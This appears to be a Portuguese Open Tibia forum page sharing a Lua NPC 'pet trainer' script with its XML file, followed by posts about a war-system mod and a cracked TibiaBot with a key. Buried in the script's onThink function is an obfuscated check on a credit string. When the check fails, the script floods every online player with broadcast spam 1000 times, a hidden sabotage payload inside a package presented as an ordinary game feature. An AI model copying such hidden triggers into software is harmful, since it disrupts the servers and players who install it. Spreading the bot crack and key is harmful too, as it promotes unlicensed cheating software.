YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  18. Gostei
    Fox B. recebeu reputação de MarcooS em TibiaBot NG Auto Crack   
    Uê, não precisa ser de potions, basta colocar o script.


    -MAna Potion-


    IDS -Mana Potion-


    -Healing Potion-


    IDS -Healing potions-


    ID -Great Spirit Potion-

  19. Gostei
    Fox B. recebeu reputação de Guilherme. em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  20. Gostei
    Fox B. recebeu reputação de Arthur em TibiaBot NG + Key   
    Muito bom, está de parabéns!
    Baixei e aprovo..

    Pena que a cipsoft colocou tolerancia 0 a softwares ilegais ;s

    --------------
    Bem, oia a nova key aii! (23/06)
    Mais os creditos continuam sendo do Arthur..


Informação Importante

Confirmação de Termo